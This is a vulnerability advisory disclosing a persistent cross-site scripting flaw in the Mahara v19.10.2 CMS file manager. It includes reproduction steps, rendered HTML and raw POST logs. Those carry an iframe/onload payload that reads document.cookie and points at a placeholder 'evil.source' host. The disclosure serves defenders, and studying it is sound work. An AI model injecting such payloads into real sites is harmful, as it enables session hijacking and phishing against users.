Document Title:
===============
Mahara v19.10.2 CMS - Persistent Cross Site Vulnerability
References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2217
Release Date:
=============
2020-04-21
Vulnerability Laboratory ID (VL-ID):
====================================
2217
Common Vulnerability Scoring System:
====================================
4.3
Vulnerability Class:
====================
Cross Site Scripting - Persistent
Current Estimated Price:
========================
500€ - 1.000€
Product & Service Introduction:
===============================
A fully featured electronic portfolio, weblog, resume builder and social
networking system, connecting users and creating
online communities. Mahara is designed to provide users with the tools
to create a personal and professional learning
and development environment.
(Copy of the Homepage: https://launchpad.net/mahara & https://mahara.org/ )
Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered a persistent
cross site vulnerability in the Mahara v19.10.2 CMS web-application.
Affected Product(s):
====================
Catalyst IT Ltd.
Product: Mahara v19.10.2 - CMS (Web-Application)
Vulnerability Disclosure Timeline:
==================================
2020-04-21: Public Disclosure (Vulnerability Laboratory)
Discovery Status:
=================
Published
Exploitation Technique:
=======================
Remote
Severity Level:
===============
Medium
Authentication Type:
====================
Restricted authentication (user/moderator) - User privileges
User Interaction:
=================
Low User Interaction
Disclosure Type:
================
Independent Security Research
Technical Details & Description:
================================
A persistent input validation web vulnerability has been discovered in
the official Mahara v19.10.2 CMS web-application series.
The vulnerability allows remote attackers to inject own malicious script
codes with persistent attack vector to compromise browser
to web-application requests from the application-side.
The persistent vulnerability is located in the `nombre` and
`descripción` parameters of the `Ficheros` module in the
`groupfiles.php` file.
Remote attackers with low privileges are able to inject own malicious
persistent script code as files and foldernames. The injected code can
be used to attack the frontend or backend of the web-application. The
request method to inject is POST and the attack vector is located on
the application-side. Files are able to be reviewed in the backend by
higher privileged accounts and can be shared.
Successful exploitation of the vulnerabilities results in session
hijacking, persistent phishing attacks, persistent external redirects to
malicious source and persistent manipulation of affected application
modules.
Request Method(s):
[+] POST
Vulnerable Module(s):
[+] Ficheros (Files Manager)
Vulnerable Input(s):
[+] Crear Carpeta
Vulnerable File(s):
[+] groupfiles.php
Vulnerable Parameter(s):
[+] nombre
[+] descripción
Affected Module(s):
[+] Página principal
Proof of Concept (PoC):
=======================
The persistent web vulnerability can be exploited by low privileged web
application user account with low user interaction.
For security demonstration or to reproduce the vulnerability follow the
provided information and steps below to continue.
Manual steps to reproduce ...
1. Open the web-application and login as regular user
2. Move inside the mygroup management
3. Open the ficheros tab on top
4. Inject test payload into the crear carpeta (Nombre & Descripción)
input field for the página principal to output
Note: The execution point occurs on edit, list and delete interaction
5. The created path listings are available for higher privileged user
account that review (Backend)
6. Successul reproduce of the persistent cross site web vulnerability!
PoC: Vulnerable Source (Inject via Crear Carpeta Input for Página Principal)
<tr id="file:7191" class="file-item folder no-hover ui-droppable">
<td class="icon-cell">
<div class="icon-drag ui-draggable ui-draggable-handle" id="drag:7191"
tabindex="0">
<span class="sr-only">Seleccionar y arrastrar para mover >"<iframe
src=evil.source onload=alert(document.cookie)></iframe>
>"<iframe src=evil.source
onload=alert(document.cookie)></iframe></span>
<span class="icon-folder-open icon icon-lg " role="presentation"
aria-hidden="true"></span>
</div></td>
<td class="filename">
<a
href="https://mahara_cms.localhost:8080/artefact/file/groupfiles.php?group=27&folder=7191&owner=group&ownerid=27"
id="changefolder:7191" class="inner-link changefolder">
<span class="sr-only">Carpeta:</span>
<span class="display-title ">>"<iframe src=evil.source
onload=alert(document.cookie)></iframe>
>"<iframe src=evil.source
onload=alert(document.cookie)></iframe></span>
</a></td>
<td class="filedescription d-none d-md-table-cell">
>"<iframe></iframe> >"<iframe></iframe></td>
<td class="filesize"></td>
<td class="filedate">20/04/2020</td>
<!-- Ensure space for 3 buttons (in the case of a really long single
line string in a user input field -->
<td class="text-right control-buttons ">
<div class="btn-group">
... ...
<button name="files_filebrowser_edit[7191]" class="btn btn-secondary
btn-sm">
<span class="icon icon-pencil-alt icon-lg" role="presentation"
aria-hidden="true"></span>
<span class="sr-only">Edit folder "&gt;&quot;&lt;iframe
src=evil.source
onload=alert(document.cookie)&gt;&lt;/iframe&gt;
&gt;&quot;&lt;iframe src=evil.source
onload=alert(document.cookie)&gt;&lt;/iframe&gt;"</span></button>
<button name="files_filebrowser_delete[7191]" class="btn btn-secondary
btn-sm">
<span class="icon icon-trash-alt text-danger icon-lg"
role="presentation" aria-hidden="true"></span>
<span class="sr-only">Delete folder "&gt;&quot;&lt;iframe
src=evil.source
onload=alert(document.cookie)&gt;&lt;/iframe&gt;
&gt;&quot;&lt;iframe src=evil.source
onload=alert(document.cookie)&gt;&lt;/iframe&gt;"</span>
</button></div></td>
--- PoC Session Logs [POST] --- (Mygroup Ficheros)
https://mahara_cms.localhost:8080/artefact/file/groupfiles.php?group=27&folder=0&owner=group&ownerid=27
Host: mahara_cms.localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0)
Gecko/20100101 Firefox/75.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data;
boundary=---------------------------98107146915324237501974151621
Content-Length: 4879
Origin: https://mahara_cms.localhost:8080
Connection: keep-alive
Referer:
https://mahara_cms.localhost:8080/artefact/file/groupfiles.php?group=27&folder=0&owner=group&ownerid=27
Cookie: __cfduid=d6b9845d834027b2fd8a2223c5b559f2f1587303558;
mahara=82af10d7e4d0a63e1395d579d0d2f4ea8fb16a18b0e97378b0473c0cf32d1b76;
folder=0&files_filebrowser_changefolder=&files_filebrowser_foldername=Página
principal&files_filebrowser_uploadnumber=1&files_filebrowser_upload=0&MAX_FILE_SIZE=1610608640&files_filebrowser_license=&
files_filebrowser_license_other=&files_filebrowser_licensor=&files_filebrowser_licensorurl=&files_filebrowser_resizeonuploaduserenable=on&userfile[]=&files_filebrowser_move=&files_filebrowser_moveto=&files_filebrowser_createfolder_name=&files_filebrowser_edit_orientation=0&
files_filebrowser_edit_title=>"<iframe src=evil.source
onload=alert(document.cookie)></iframe> >"<iframe src=evil.source
onload=alert(document.cookie)></iframe>&files_filebrowser_edit_description=>"<iframe
src=evil.source onload=alert(document.cookie)></iframe>
>"<iframe src=evil.source
onload=alert(document.cookie)></iframe>&files_filebrowser_permission:member:view=on&files_filebrowser_permission:member:edit=on&
files_filebrowser_permission:member:republish=on&files_filebrowser_edit_license=&files_filebrowser_edit_license_other=&
files_filebrowser_edit_licensor=>"<iframe src=evil.source
onload=alert(document.cookie)></iframe> >"<iframe src=evil.source
onload=alert(document.cookie)></iframe>&files_filebrowser_edit_licensorurl=>"<iframe
src=evil.source onload=alert(document.cookie)></iframe>
>"<iframe src=evil.source
onload=alert(document.cookie)></iframe>&files_filebrowser_edit_allowcomments=on&
files_filebrowser_update[7191]=Guardar
cambios&sesskey=pFJC0a1dZWsy8rEA&pieform_files=&pieform_jssubmission=1,1,1
-
POST: HTTP/2.0 200 OK
content-type: text/html; charset=UTF-8
vary: Accept-Encoding
cache-control: no-store, no-cache, must-revalidate
set-cookie:
mahara=82af10d7e4d0a63e1395d579d0d2f4ea8fb16a18b0e97378b0473c0cf32d1b76;
path=/; secure; HttpOnly
content-encoding: br
X-Firefox-Spdy: h2-
https://mahara_cms.localhost:8080/artefact/file/groupfiles.php?group=27&folder=0&owner=group&ownerid=
-
Host: mahara_cms.localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0)
Gecko/20100101 Firefox/75.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data;
boundary=---------------------------126319663526561351602937008964
Content-Length: 3721
Origin: https://mahara_cms.localhost:8080
Connection: keep-alive
Referer:
https://mahara_cms.localhost:8080/artefact/file/groupfiles.php?group=27&folder=0&owner=group&ownerid=
Cookie: __cfduid=d6b9845d834027b2fd8a2223c5b559f2f1587303558;
mahara=82af10d7e4d0a63e1395d579d0d2f4ea8fb16a18b0e97378b0473c0cf32d1b76;
folder=0&files_filebrowser_changefolder=&files_filebrowser_foldername=Página
principal&files_filebrowser_uploadnumber=1&files_filebrowser_upload=0&MAX_FILE_SIZE=1610608640&files_filebrowser_license=&
files_filebrowser_license_other=&files_filebrowser_licensor=&files_filebrowser_licensorurl=&files_filebrowser_resizeonuploaduserenable=on&userfile[]=&files_filebrowser_move=&files_filebrowser_moveto=&files_filebrowser_createfolder_name=&files_filebrowser_delete[7192]=&files_filebrowser_edit_orientation=0&files_filebrowser_edit_title=&files_filebrowser_edit_description=&files_filebrowser_edit_license=&
files_filebrowser_edit_license_other=&files_filebrowser_edit_licensor=&files_filebrowser_edit_licensorurl=&
sesskey=pFJC0a1dZWsy8rEA&pieform_files=&pieform_jssubmission=1,1
-
GET: HTTP/2.0 200 OK
content-type: text/html; charset=UTF-8
vary: Accept-Encoding
cache-control: no-store, no-cache, must-revalidate
set-cookie:
mahara=82af10d7e4d0a63e1395d579d0d2f4ea8fb16a18b0e97378b0473c0cf32d1b76;
path=/; secure; HttpOnly
content-encoding: br
X-Firefox-Spdy: h2
Reference(s):
https://mahara_cms.localhost:8080/artefact/
https://mahara_cms.localhost:8080/artefact/file/
https://mahara_cms.localhost:8080/artefact/file/groupfiles.php
Security Risk:
==============
The security risk of the persistent cross site scripting web
vulnerability in the web-application is estimated as medium.
Credits & Authors:
==================
Vulnerability-Lab -
https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab
Benjamin Kunz Mejri -
https://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.
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=========================
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